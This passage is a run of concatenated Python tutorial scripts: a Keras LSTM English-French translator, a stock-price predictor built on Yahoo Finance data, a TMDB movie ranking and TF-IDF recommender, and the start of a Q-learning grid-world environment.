f.read().lower() punc = set(punctuation) text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ]) for ws in whitespace: text = text.replace(ws, " ") text = text.split() co = 0 vocab_set = set(vocab) for i in tqdm.tqdm(range(len(text)), "Normalizing words"): # convert digits to words # (i.e '7' to 'seven') if text[i].isdigit(): text[i] = p.number_to_words(text[i]) # compare_nouns # compare_adjs # compare_verbs if text[i] not in vocab_set: text[i] = UNK co += 1 # update vocab, intersection of words print("vocab length:", len(vocab)) vocab = vocab_set & set(text) print("vocab length after update:", len(vocab)) save_vocab(vocab) print("Number of unks:", co) return ' '.join(text) from train import create_model, get_data, split_data, LSTM_UNITS, np, to_categorical, Tokenizer, pad_sequences, pickle def tokenize(x, tokenizer=None): """Tokenize x :param x: List of sentences/strings to be tokenized :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" if tokenizer: t = tokenizer else: t = Tokenizer() t.fit_on_texts(x) return t.texts_to_sequences(x), t def predict_sequence(enc, dec, source, n_steps, docoder_num_tokens): """Generate target given source sequence, this function can be used after the model is trained to generate a target sequence given a source sequence.""" # encode state = enc.predict(source) # start of sequence input target_seq = np.zeros((1, 1, n_steps)) # collect predictions output = [] for t in range(n_steps): # predict next char yhat, h, c = dec.predict([target_seq] + state) # store predictions y = yhat[0, 0, :] sampled_token_index = np.argmax(y) output.append(sampled_token_index) # update state state = [h, c] # update target sequence target_seq = np.zeros((1, 1, n_steps)) target_seq[0, 0] = to_categorical(sampled_token_index, num_classes=n_steps) return np.array(output) def logits_to_text(logits, index_to_words): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ return ' '.join([index_to_words[prediction] for prediction in logits]) # load the data X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt") X_tk = pickle.load(open("X_tk.pickle", "rb")) y_tk = pickle.load(open("y_tk.pickle", "rb")) model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS) model.load_weights("results/eng_fra_v1_17568.086.h5") while True: text = input("> ") tokenized = np.array(tokenize([text], tokenizer=X_tk)[0]) print(tokenized.shape) X = pad_sequences(tokenized, maxlen=source_sequence_length, padding="post") X = X.reshape((1, 1, X.shape[-1])) print(X.shape) # X = to_categorical(X, num_classes=len(X_tk.word_index) + 1) print(X.shape) sequence = predict_sequence(enc, dec, X, target_sequence_length, source_sequence_length) result = logits_to_text(sequence, y_tk.index_word) print(result) from tensorflow.keras.models import Model from tensorflow.keras.layers import Input, LSTM, GRU, Dense, Embedding, Activation, Dropout, Sequential, RepeatVector from tensorflow.keras.layers import TimeDistributed from tensorflow.keras.preprocessing.text import Tokenizer from tensorflow.keras.preprocessing.sequence import pad_sequences from tensorflow.keras.utils import to_categorical, plot_model from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard import numpy as np import matplotlib.pyplot as plt import os import pickle # hyper parameters BATCH_SIZE = 32 EPOCHS = 10 LSTM_UNITS = 128 def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size): model = Sequential() model.add(LSTM(LSTM_UNITS), input_shape=input_shape[1:]) model.add(RepeatVector(output_sequence_length)) model.add(LSTM(LSTM_UNITS), return_sequences=True) model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax"))) model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"]) return model def create_model(num_encoder_tokens, num_decoder_tokens, latent_dim): # define an input sequence encoder_inputs = Input(shape=(None, num_encoder_tokens)) encoder = LSTM(latent_dim, return_state=True) # define the encoder output encoder_outputs, state_h, state_c = encoder(encoder_inputs) encoder_states = [state_h, state_c] # encoder inference model encoder_model = Model(encoder_inputs, encoder_states) # set up the decoder now decoder_inputs = Input(shape=(None, num_decoder_tokens)) decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) decoder_outputs, _, _ = decoder_lstm(decoder_inputs, initial_state=encoder_states) decoder_dense = Dense(num_decoder_tokens, activation="softmax") decoder_outputs = decoder_dense(decoder_outputs) # decoder inference model decoder_state_input_h = Input(shape=(latent_dim,)) decoder_state_input_c = Input(shape=(latent_dim,)) decoder_state_inputs = [decoder_state_input_h, decoder_state_input_c] model = Model([encoder_inputs, decoder_inputs], decoder_outputs) decoder_outputs, state_h, state_c = decoder_lstm(decoder_inputs, initial_state=decoder_state_inputs) decoder_states = [state_h, state_c] decoder_model = Model([decoder_inputs] + decoder_state_inputs, [decoder_outputs] + decoder_states) return model, encoder_model, decoder_model def get_batches(X, y, X_tk, y_tk, source_sequence_length, target_sequence_length, batch_size=BATCH_SIZE): # get total number of words in X num_encoder_tokens = len(X_tk.word_index) + 1 # get max number of words in all sentences in y num_decoder_tokens = len(y_tk.word_index) + 1 while True: for j in range(0, len(X), batch_size): encoder_input_data = X[j: j+batch_size] decoder_input_data = y[j: j+batch_size] # redefine batch size # it may differ (in last batch of dataset) batch_size = encoder_input_data.shape[0] # one-hot everything # decoder_target_data = np.zeros((batch_size, num_decoder_tokens, target_sequence_length), dtype=np.uint8) # encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens), dtype=np.uint8) # decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens), dtype=np.uint8) encoder_data = np.expand_dims(encoder_input_data, axis=1) decoder_data = np.expand_dims(decoder_input_data, axis=1) # for i, sequence in enumerate(decoder_input_data): # for t, word_index in enumerate(sequence): # # skip the first # if t > 0: # decoder_target_data[i, t-1, word_index] = 1 # decoder_data[i, t, word_index] = 1 # for i, sequence in enumerate(encoder_input_data): # for t, word_index in enumerate(sequence): # encoder_data[i, t, word_index] = 1 yield ([encoder_data, decoder_data], decoder_input_data) def get_data(file): X = [] y = [] # loading the data for line in open(file, encoding="utf-8"): if "\t" not in line: continue # split by tab line = line.strip().split("\t") input = line[0] output = line[1] output = f"{output} <eos>" output_sentence_input = f"<sos> {output}" X.append(input) y.append(output) # tokenize data X_tk = Tokenizer() X_tk.fit_on_texts(X) X = X_tk.texts_to_sequences(X) y_tk = Tokenizer() y_tk.fit_on_texts(y) y = y_tk.texts_to_sequences(y) # define the max sequence length for X source_sequence_length = max(len(x) for x in X) # define the max sequence length for y target_sequence_length = max(len(y_) for y_ in y) # padding sequences X = pad_sequences(X, maxlen=source_sequence_length, padding="post") y = pad_sequences(y, maxlen=target_sequence_length, padding="post") return X, y, X_tk, y_tk, source_sequence_length, target_sequence_length def shuffle_data(X, y): """ Shuffles X & y and preserving their pair order """ state = np.random.get_state() np.random.shuffle(X) np.random.set_state(state) np.random.shuffle(y) return X, y def split_data(X, y, train_split_rate=0.2): # shuffle first X, y = shuffle_data(X, y) training_samples = round(len(X) * train_split_rate) return X[:training_samples], y[:training_samples], X[training_samples:], y[training_samples:] if __name__ == "__main__": # load the data X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt") # save tokenizers pickle.dump(X_tk, open("X_tk.pickle", "wb")) pickle.dump(y_tk, open("y_tk.pickle", "wb")) # shuffle & split data X_train, y_train, X_test, y_test = split_data(X, y) # construct the models model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS) plot_model(model, to_file="model.png") plot_model(enc, to_file="enc.png") plot_model(dec, to_file="dec.png") model.summary() model.compile(optimizer="adam", loss="categorical_crossentropy", metrics=["accuracy"]) if not os.path.isdir("results"): os.mkdir("results") checkpointer = ModelCheckpoint("results/eng_fra_v1_{val_loss:.3f}.h5", save_best_only=True, verbose=2) # train the model model.fit_generator(get_batches(X_train, y_train, X_tk, y_tk, source_sequence_length, target_sequence_length), validation_data=get_batches(X_test, y_test, X_tk, y_tk, source_sequence_length, target_sequence_length), epochs=EPOCHS, steps_per_epoch=(len(X_train) // BATCH_SIZE), validation_steps=(len(X_test) // BATCH_SIZE), callbacks=[checkpointer]) print("[+] Model trained.") model.save("results/eng_fra_v1.h5") print("[+] Model saved.") from tensorflow.keras.preprocessing.text import Tokenizer from tensorflow.keras.preprocessing.sequence import pad_sequences from tensorflow.keras.models import Model, Sequential from tensorflow.keras.layers import GRU, Input, Dense, TimeDistributed, Activation, RepeatVector, Bidirectional, Flatten from tensorflow.keras.layers import Dropout, LSTM from tensorflow.keras.optimizers import Adam from tensorflow.keras.losses import sparse_categorical_crossentropy import collections import numpy as np LSTM_UNITS = 128 def get_data(file): X = [] y = [] # loading the data for line in open(file, encoding="utf-8"): if "\t" not in line: continue # split by tab line = line.strip().split("\t") input = line[0] output = line[1] X.append(input) y.append(output) return X, y def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size): model = Sequential() model.add(LSTM(LSTM_UNITS, input_shape=input_shape[1:])) model.add(RepeatVector(output_sequence_length)) model.add(LSTM(LSTM_UNITS, return_sequences=True)) model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax"))) model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"]) return model def tokenize(x): """ Tokenize x :param x: List of sentences/strings to be tokenized :return: Tuple of (tokenized x data, tokenizer used to tokenize x) """ # TODO: Implement t = Tokenizer() t.fit_on_texts(x) return t.texts_to_sequences(x), t def pad(x, length=None): """ Pad x :param x: List of sequences. :param length: Length to pad the sequence to. If None, use length of longest sequence in x. :return: Padded numpy array of sequences """ # TODO: Implement sequences = pad_sequences(x, maxlen=length, padding='post') return sequences def preprocess(x, y): """ Preprocess x and y :param x: Feature List of sentences :param y: Label List of sentences :return: Tuple of (Preprocessed x, Preprocessed y, x tokenizer, y tokenizer) """ preprocess_x, x_tk = tokenize(x) preprocess_y, y_tk = tokenize(y) preprocess_x = pad(preprocess_x) preprocess_y = pad(preprocess_y) # Keras's sparse_categorical_crossentropy function requires the labels to be in 3 dimensions preprocess_y = preprocess_y.reshape(*preprocess_y.shape, 1) return preprocess_x, preprocess_y, x_tk, y_tk def logits_to_text(logits, tokenizer): """ Turn logits from a neural network into text using the tokenizer :param logits: Logits from a neural network :param tokenizer: Keras Tokenizer fit on the labels :return: String that represents the text of the logits """ index_to_words = {id: word for word, id in tokenizer.word_index.items()} index_to_words[0] = '<PAD>' return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) if __name__ == "__main__": X, y = get_data("ara.txt") english_words = [word for sentence in X for word in sentence.split()] french_words = [word for sentence in y for word in sentence.split()] english_words_counter = collections.Counter(english_words) french_words_counter = collections.Counter(french_words) print('{} English words.'.format(len(english_words))) print('{} unique English words.'.format(len(english_words_counter))) print('10 Most common words in the English dataset:') print('"' + '" "'.join(list(zip(*english_words_counter.most_common(10)))[0]) + '"') print() print('{} French words.'.format(len(french_words))) print('{} unique French words.'.format(len(french_words_counter))) print('10 Most common words in the French dataset:') print('"' + '" "'.join(list(zip(*french_words_counter.most_common(10)))[0]) + '"') # Tokenize Example output text_sentences = [ 'The quick brown fox jumps over the lazy dog .', 'By Jove , my quick study of lexicography won a prize .', 'This is a short sentence .'] text_tokenized, text_tokenizer = tokenize(text_sentences) print(text_tokenizer.word_index) print() for sample_i, (sent, token_sent) in enumerate(zip(text_sentences, text_tokenized)): print('Sequence {} in x'.format(sample_i + 1)) print(' Input: {}'.format(sent)) print(' Output: {}'.format(token_sent)) # Pad Tokenized output test_pad = pad(text_tokenized) for sample_i, (token_sent, pad_sent) in enumerate(zip(text_tokenized, test_pad)): print('Sequence {} in x'.format(sample_i + 1)) print(' Input: {}'.format(np.array(token_sent))) print(' Output: {}'.format(pad_sent)) preproc_english_sentences, preproc_french_sentences, english_tokenizer, french_tokenizer =\ preprocess(X, y) max_english_sequence_length = preproc_english_sentences.shape[1] max_french_sequence_length = preproc_french_sentences.shape[1] english_vocab_size = len(english_tokenizer.word_index) french_vocab_size = len(french_tokenizer.word_index) print('Data Preprocessed') print("Max English sentence length:", max_english_sequence_length) print("Max French sentence length:", max_french_sequence_length) print("English vocabulary size:", english_vocab_size) print("French vocabulary size:", french_vocab_size) tmp_x = pad(preproc_english_sentences, preproc_french_sentences.shape[1]) tmp_x = tmp_x.reshape((-1, preproc_french_sentences.shape[-2], 1)) print("tmp_x.shape:", tmp_x.shape) print("preproc_french_sentences.shape:", preproc_french_sentences.shape) # Train the neural network # increased passed index length by 1 to avoid index error encdec_rnn_model = create_encdec_model( tmp_x.shape, preproc_french_sentences.shape[1], len(english_tokenizer.word_index)+1, len(french_tokenizer.word_index)+1) print(encdec_rnn_model.summary()) # reduced batch size encdec_rnn_model.fit(tmp_x, preproc_french_sentences, batch_size=256, epochs=3, validation_split=0.2) # Print prediction(s) print(logits_to_text(encdec_rnn_model.predict(tmp_x[1].reshape((1, tmp_x[1].shape[0], 1, )))[0], french_tokenizer)) print("Original text and translation:") print(X[1]) print(y[1]) # OPTIONAL: Train and Print prediction(s) print("="*50) # Print prediction(s) print(logits_to_text(encdec_rnn_model.predict(tmp_x[10].reshape((1, tmp_x[1].shape[0], 1, ))[0]), french_tokenizer)) print("Original text and translation:") print(X[10]) print(y[10]) # OPTIONAL: Train and Print prediction(s) from tensorflow.keras.layers import LSTM, Dense, Dropout from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard from sklearn.metrics import mean_absolute_error, mean_squared_error, accuracy_score import os import time import glob import numpy as np import pandas as pd import matplotlib.pyplot as plt from utils import classify, shift, create_model, load_data class PricePrediction: """A Class utility to train and predict price of stocks/cryptocurrencies/trades using keras model""" def __init__(self, ticker_name, **kwargs): """ :param ticker_name (str): ticker name, e.g. aapl, nflx, etc. :param n_steps (int): sequence length used to predict, default is 60 :param price_column (str): the name of column that contains price predicted, default is 'adjclose' :param feature_columns (list): a list of feature column names used to train the model, default is ['adjclose', 'volume', 'open', 'high', 'low'] :param target_column (str): target column name, default is 'future' :param lookup_step (int): the future lookup step to predict, default is 1 (e.g. next day) :param shuffle (bool): whether to shuffle the dataset, default is True :param verbose (int): verbosity level, default is 1 ========================================== Model parameters :param n_layers (int): number of recurrent neural network layers, default is 3 :param cell (keras.layers.RNN): RNN cell used to train keras model, default is LSTM :param units (int): number of units of cell, default is 256 :param dropout (float): dropout rate ( from 0 to 1 ), default is 0.3 ========================================== Training parameters :param batch_size (int): number of samples per gradient update, default is 64 :param epochs (int): number of epochs, default is 100 :param optimizer (str, keras.optimizers.Optimizer): optimizer used to train, default is 'adam' :param loss (str, function): loss function used to minimize during training, default is 'mae' :param test_size (float): test size ratio from 0 to 1, default is 0.15 """ self.ticker_name = ticker_name self.n_steps = kwargs.get("n_steps", 60) self.price_column = kwargs.get("price_column", 'adjclose') self.feature_columns = kwargs.get("feature_columns", ['adjclose', 'volume', 'open', 'high', 'low']) self.target_column = kwargs.get("target_column", "future") self.lookup_step = kwargs.get("lookup_step", 1) self.shuffle = kwargs.get("shuffle", True) self.verbose = kwargs.get("verbose", 1) self.n_layers = kwargs.get("n_layers", 3) self.cell = kwargs.get("cell", LSTM) self.units = kwargs.get("units", 256) self.dropout = kwargs.get("dropout", 0.3) self.batch_size = kwargs.get("batch_size", 64) self.epochs = kwargs.get("epochs", 100) self.optimizer = kwargs.get("optimizer", "adam") self.loss = kwargs.get("loss", "mae") self.test_size = kwargs.get("test_size", 0.15) # create unique model name self._update_model_name() # runtime attributes self.model_trained = False self.data_loaded = False self.model_created = False # test price values self.test_prices = None # predicted price values for the test set self.y_pred = None # prices converted to buy/sell classes self.classified_y_true = None # predicted prices converted to buy/sell classes self.classified_y_pred = None # most recent price self.last_price = None # make folders if does not exist if not os.path.isdir("results"): os.mkdir("results") if not os.path.isdir("logs"): os.mkdir("logs") if not os.path.isdir("data"): os.mkdir("data") def create_model(self): """Construct and compile the keras model""" self.model = create_model(input_length=self.n_steps, units=self.units, cell=self.cell, dropout=self.dropout, n_layers=self.n_layers, loss=self.loss, optimizer=self.optimizer) self.model_created = True if self.verbose > 0: print("[+] Model created") def train(self, override=False): """Train the keras model using self.checkpointer and self.tensorboard as keras callbacks. If model created already trained, this method will load the weights instead of training from scratch. Note that this method will create the model and load data if not called before.""" # if model isn't created yet, create it if not self.model_created: self.create_model() # if data isn't loaded yet, load it if not self.data_loaded: self.load_data() # if the model already exists and trained, just load the weights and return # but if override is True, then just skip loading weights if not override: model_name = self._model_exists() if model_name: self.model.load_weights(model_name) self.model_trained = True if self.verbose > 0: print("[*] Model weights loaded") return if not os.path.isdir("results"): os.mkdir("results") if not os.path.isdir("logs"): os.mkdir("logs") model_filename = self._get_model_filename() self.checkpointer = ModelCheckpoint(model_filename, save_best_only=True, verbose=1) self.tensorboard = TensorBoard(log_dir=f"logs\{self.model_name}") self.history = self.model.fit(self.X_train, self.y_train, batch_size=self.batch_size, epochs=self.epochs, validation_data=(self.X_test, self.y_test), callbacks=[self.checkpointer, self.tensorboard], verbose=1) self.model_trained = True if self.verbose > 0: print("[+] Model trained") def predict(self, classify=False): """Predicts next price for the step self.lookup_step. when classify is True, returns 0 for sell and 1 for buy""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") # reshape to fit the model input last_sequence = self.last_sequence.reshape((self.last_sequence.shape[1], self.last_sequence.shape[0])) # expand dimension last_sequence = np.expand_dims(last_sequence, axis=0) predicted_price = self.column_scaler[self.price_column].inverse_transform(self.model.predict(last_sequence))[0][0] if classify: last_price = self.get_last_price() return 1 if last_price < predicted_price else 0 else: return predicted_price def load_data(self): """Loads and preprocess data""" filename, exists = self._df_exists() if exists: # if the updated dataframe already exists in disk, load it self.ticker = pd.read_csv(filename) ticker = self.ticker if self.verbose > 0: print("[*] Dataframe loaded from disk") else: ticker = self.ticker_name result = load_data(ticker,n_steps=self.n_steps, lookup_step=self.lookup_step, shuffle=self.shuffle, feature_columns=self.feature_columns, price_column=self.price_column, test_size=self.test_size) # extract data self.df = result['df'] self.X_train = result['X_train'] self.X_test = result['X_test'] self.y_train = result['y_train'] self.y_test = result['y_test'] self.column_scaler = result['column_scaler'] self.last_sequence = result['last_sequence'] if self.shuffle: self.unshuffled_X_test = result['unshuffled_X_test'] self.unshuffled_y_test = result['unshuffled_y_test'] else: self.unshuffled_X_test = self.X_test self.unshuffled_y_test = self.y_test self.original_X_test = self.unshuffled_X_test.reshape((self.unshuffled_X_test.shape[0], self.unshuffled_X_test.shape[2], -1)) self.data_loaded = True if self.verbose > 0: print("[+] Data loaded") # save the dataframe to disk self.save_data() def get_last_price(self): """Returns the last price ( i.e the most recent price )""" if not self.last_price: self.last_price = float(self.df[self.price_column].tail(1)) return self.last_price def get_test_prices(self): """Returns test prices. Note that this function won't return the whole sequences, instead, it'll return only the last value of each sequence""" if self.test_prices is None: current = np.squeeze(self.column_scaler[self.price_column].inverse_transform([[ v[-1][0] for v in self.original_X_test ]])) future = np.squeeze(self.column_scaler[self.price_column].inverse_transform(np.expand_dims(self.unshuffled_y_test, axis=0))) self.test_prices = np.array(list(current) + [future[-1]]) return self.test_prices def get_y_pred(self): """Get predicted values of the testing set of sequences ( y_pred )""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") if self.y_pred is None: self.y_pred = np.squeeze(self.column_scaler[self.price_column].inverse_transform(self.model.predict(self.unshuffled_X_test))) return self.y_pred def get_y_true(self): """Returns original y testing values ( y_true )""" test_prices = self.get_test_prices() return test_prices[1:] def _get_shifted_y_true(self): """Returns original y testing values shifted by -1. This function is useful for converting to a classification problem""" test_prices = self.get_test_prices() return test_prices[:-1] def _calc_classified_prices(self): """Convert regression predictions to a classification predictions ( buy or sell ) and set results to self.classified_y_pred for predictions and self.classified_y_true for true prices""" if self.classified_y_true is None or self.classified_y_pred is None: current_prices = self._get_shifted_y_true() future_prices = self.get_y_true() predicted_prices = self.get_y_pred() self.classified_y_true = list(map(classify, current_prices, future_prices)) self.classified_y_pred = list(map(classify, current_prices, predicted_prices)) # some metrics def get_MAE(self): """Calculates the Mean-Absolute-Error metric of the test set""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") y_true = self.get_y_true() y_pred = self.get_y_pred() return mean_absolute_error(y_true, y_pred) def get_MSE(self): """Calculates the Mean-Squared-Error metric of the test set""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") y_true = self.get_y_true() y_pred = self.get_y_pred() return mean_squared_error(y_true, y_pred) def get_accuracy(self): """Calculates the accuracy after adding classification approach (buy/sell)""" if not self.model_trained: raise RuntimeError("Model is not trained yet, call model.train() first.") self._calc_classified_prices() return accuracy_score(self.classified_y_true, self.classified_y_pred) def plot_test_set(self): """Plots test data""" future_prices = self.get_y_true() predicted_prices = self.get_y_pred() plt.plot(future_prices, c='b') plt.plot(predicted_prices, c='r') plt.xlabel("Days") plt.ylabel("Price") plt.legend(["Actual Price", "Predicted Price"]) plt.show() def save_data(self): """Saves the updated dataframe if it does not exist""" filename, exists = self._df_exists() if not exists: self.df.to_csv(filename) if self.verbose > 0: print("[+] Dataframe saved") def _update_model_name(self): stock = self.ticker_name.replace(" ", "_") feature_columns_str = ''.join([ c[0] for c in self.feature_columns ]) time_now = time.strftime("%Y-%m-%d") self.model_name = f"{time_now}_{stock}-{feature_columns_str}-loss-{self.loss}-{self.cell.__name__}-seq-{self.n_steps}-step-{self.lookup_step}-layers-{self.n_layers}-units-{self.units}" def _get_df_name(self): """Returns the updated dataframe name""" time_now = time.strftime("%Y-%m-%d") return f"data/{self.ticker_name}_{time_now}.csv" def _df_exists(self): """Check if the updated dataframe exists in disk, returns a tuple contains (filename, file_exists)""" filename = self._get_df_name() return filename, os.path.isfile(filename) def _get_model_filename(self): """Returns the relative path of this model name with h5 extension""" return f"results/{self.model_name}.h5" def _model_exists(self): """Checks if model already exists in disk, returns the filename, returns None otherwise""" filename = self._get_model_filename() return filename if os.path.isfile(filename) else None # uncomment below to use CPU instead of GPU # import os # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=4, # inter_op_parallelism_threads=4, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) from tensorflow.keras.layers import GRU, LSTM from price_prediction import PricePrediction ticker = "AAPL" p = PricePrediction(ticker, feature_columns=['adjclose', 'volume', 'open', 'high', 'low'], epochs=700, cell=LSTM, optimizer="rmsprop", n_layers=3, units=256, loss="mse", shuffle=True, dropout=0.4) p.train(True) print(f"The next predicted price for {ticker} is {p.predict()}") buy_sell = p.predict(classify=True) print(f"you should {'sell' if buy_sell == 0 else 'buy'}.") print("Mean Absolute Error:", p.get_MAE()) print("Mean Squared Error:", p.get_MSE()) print(f"Accuracy: {p.get_accuracy()*100:.3f}%") p.plot_test_set() from tensorflow.keras.models import Sequential from tensorflow.keras.layers import LSTM, Dense, Dropout from sklearn import preprocessing from yahoo_fin import stock_info as si from collections import deque import pandas as pd import numpy as np import random def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, loss="mean_absolute_error", optimizer="rmsprop"): model = Sequential() for i in range(n_layers): if i == 0: # first layer model.add(cell(units, return_sequences=True, input_shape=(None, input_length))) model.add(Dropout(dropout)) elif i == n_layers -1: # last layer model.add(cell(units, return_sequences=False)) model.add(Dropout(dropout)) else: # middle layers model.add(cell(units, return_sequences=True)) model.add(Dropout(dropout)) model.add(Dense(1, activation="linear")) model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer) return model def load_data(ticker, n_steps=60, scale=True, split=True, balance=False, shuffle=True, lookup_step=1, test_size=0.15, price_column='Price', feature_columns=['Price'], target_column="future", buy_sell=False): """Loads data from yahoo finance, if the ticker is a pd Dataframe, it'll use it instead""" if isinstance(ticker, str): df = si.get_data(ticker) elif isinstance(ticker, pd.DataFrame): df = ticker else: raise TypeError("ticker can be either a str, or a pd.DataFrame instance") result = {} result['df'] = df.copy() # make sure that columns passed is in the dataframe for col in feature_columns: assert col in df.columns column_scaler = {} if scale: # scale the data ( from 0 to 1 ) for column in feature_columns: scaler = preprocessing.MinMaxScaler() df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1)) column_scaler[column] = scaler # df[column] = preprocessing.scale(df[column].values) # add column scaler to the result result['column_scaler'] = column_scaler # add future price column ( shift by -1 ) df[target_column] = df[price_column].shift(-lookup_step) # get last feature elements ( to add them to the last sequence ) # before deleted by df.dropna last_feature_element = np.array(df[feature_columns].tail(1)) # clean NaN entries df.dropna(inplace=True) if buy_sell: # convert target column to 0 (for sell -down- ) and to 1 ( for buy -up-) df[target_column] = list(map(classify, df[price_column], df[target_column])) seq_data = [] # all sequences here # sequences are made with deque, which keeps the maximum length by popping out older values as new ones come in sequences = deque(maxlen=n_steps) for entry, target in zip(df[feature_columns].values, df[target_column].values): sequences.append(entry) if len(sequences) == n_steps: seq_data.append([np.array(sequences), target]) # get the last sequence for future predictions last_sequence = np.array(sequences) # shift the sequence, one element is missing ( deleted by dropna ) last_sequence = shift(last_sequence, -1) # fill the last element last_sequence[-1] = last_feature_element # add last sequence to results result['last_sequence'] = last_sequence if buy_sell and balance: buys, sells = [], [] for seq, target in seq_data: if target == 0: sells.append([seq, target]) else: buys.append([seq, target]) # balancing the dataset lower_length = min(len(buys), len(sells)) buys = buys[:lower_length] sells = sells[:lower_length] seq_data = buys + sells if shuffle: unshuffled_seq_data = seq_data.copy() # shuffle data random.shuffle(seq_data) X, y = [], [] for seq, target in seq_data: X.append(seq) y.append(target) X = np.array(X) y = np.array(y) if shuffle: unshuffled_X, unshuffled_y = [], [] for seq, target in unshuffled_seq_data: unshuffled_X.append(seq) unshuffled_y.append(target) unshuffled_X = np.array(unshuffled_X) unshuffled_y = np.array(unshuffled_y) unshuffled_X = unshuffled_X.reshape((unshuffled_X.shape[0], unshuffled_X.shape[2], unshuffled_X.shape[1])) X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) if not split: # return original_df, X, y, column_scaler, last_sequence result['X'] = X result['y'] = y return result else: # split dataset into training and testing n_samples = X.shape[0] train_samples = int(n_samples * (1 - test_size)) result['X_train'] = X[:train_samples] result['X_test'] = X[train_samples:] result['y_train'] = y[:train_samples] result['y_test'] = y[train_samples:] if shuffle: result['unshuffled_X_test'] = unshuffled_X[train_samples:] result['unshuffled_y_test'] = unshuffled_y[train_samples:] return result # from sentdex def classify(current, future): if float(future) > float(current): # if the future price is higher than the current, that's a buy, or a 1 return 1 else: # otherwise... it's a 0! return 0 def shift(arr, num, fill_value=np.nan): result = np.empty_like(arr) if num > 0: result[:num] = fill_value result[num:] = arr[:-num] elif num < 0: result[num:] = fill_value result[:num] = arr[-num:] else: result = arr return result import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns from sklearn.feature_extraction.text import TfidfVectorizer movies_path = r"E:\datasets\recommender_systems\tmdb_5000_movies.csv" credits_path = r"E:\datasets\recommender_systems\tmdb_5000_credits.csv" credits = pd.read_csv(credits_path) movies = pd.read_csv(movies_path) # rename movie_id to id to merge dataframes later credits = credits.rename(index=str, columns={'movie_id': 'id'}) # join on movie id column movies = movies.merge(credits, on="id") # drop useless columns movies = movies.drop(columns=['homepage', 'title_x', 'title_y', 'status', 'production_countries']) # number of votes of the movie V = movies['vote_count'] # rating average of the movie from 0 to 10 R = movies['vote_average'] # the mean vote across the whole report C = movies['vote_average'].mean() # minimum votes required to be listed in the top 250 m = movies['vote_count'].quantile(0.7) movies['weighted_average'] = (V/(V+m) * R) + (m/(m+V) * C) # ranked movies wavg = movies.sort_values('weighted_average', ascending=False) plt.figure(figsize=(16,6)) ax = sns.barplot(x=wavg['weighted_average'].head(10), y=wavg['original_title'].head(10), data=wavg, palette='deep') plt.xlim(6.75, 8.35) plt.title('"Best" Movies by TMDB Votes', weight='bold') plt.xlabel('Weighted Average Score', weight='bold') plt.ylabel('Movie Title', weight='bold') plt.savefig('best_movies.png') popular = movies.sort_values('popularity', ascending=False) plt.figure(figsize=(16,6)) ax = sns.barplot(x=popular['popularity'].head(10), y=popular['original_title'].head(10), data=popular, palette='deep') plt.title('"Most Popular" Movies by TMDB Votes', weight='bold') plt.xlabel('Popularity Score', weight='bold') plt.ylabel('Movie Title', weight='bold') plt.savefig('popular_movies.png') ############ Content-Based ############ # filling NaNs with empty string movies['overview'] = movies['overview'].fillna('') tfv = TfidfVectorizer(min_df=3, max_features=None, strip_accents='unicode', analyzer='word',token_pattern=r'\w{1,}', ngram_range=(1, 3), use_idf=1,smooth_idf=1,sublinear_tf=1, stop_words = 'english') tfv_matrix = tfv.fit_transform(movies['overview']) print(tfv_matrix.shape) print(tfv_matrix) import numpy as np from PIL import Image import cv2 # showing the env import matplotlib.pyplot as plt import pickle from matplotlib import style import time import os from collections.abc import Iterable style.use("ggplot") GRID_SIZE = 10 # how many episodes EPISODES = 1_000 # how many steps in the env STEPS = 200 # Rewards for differents events MOVE_REWARD = -1 ENEMY_REWARD = -300 FOOD_REWARD = 30 epsilon = 0 # for randomness, it'll decay over time by EPSILON_DECAY EPSILON_DECAY = 0.999993 # every episode, epsilon *= EPSILON_DECAY SHOW_EVERY = 1 q_table = f"qtable-grid-{GRID_SIZE}-steps-{STEPS}.npy" # put here pretrained model ( if exists ) LEARNING_RATE = 0.1 DISCOUNT = 0.95 PLAYER_CODE = 1 FOOD_CODE = 2 ENEMY_CODE = 3 # blob dict, for colors COLORS = { PLAYER_CODE: (255, 120, 0), # blueish color FOOD_CODE: (0, 255, 0), # green ENEMY_CODE: (0, 0, 255), # red } ACTIONS = { 0: (0, 1), 1: (-1, 0), 2: (0, -1), 3: (1, 0) } N_ENEMIES = 2 def get_observation(cords): obs = [] for item1 in cords: for item2 in item1: obs.append(item2+GRID_SIZE-1) return tuple(obs) class Blob: def __init__(self, name=None): self.x = np.random.randint(0, GRID_SIZE) self.y = np.random.randint(0, GRID_SIZE) self.name = name if name else 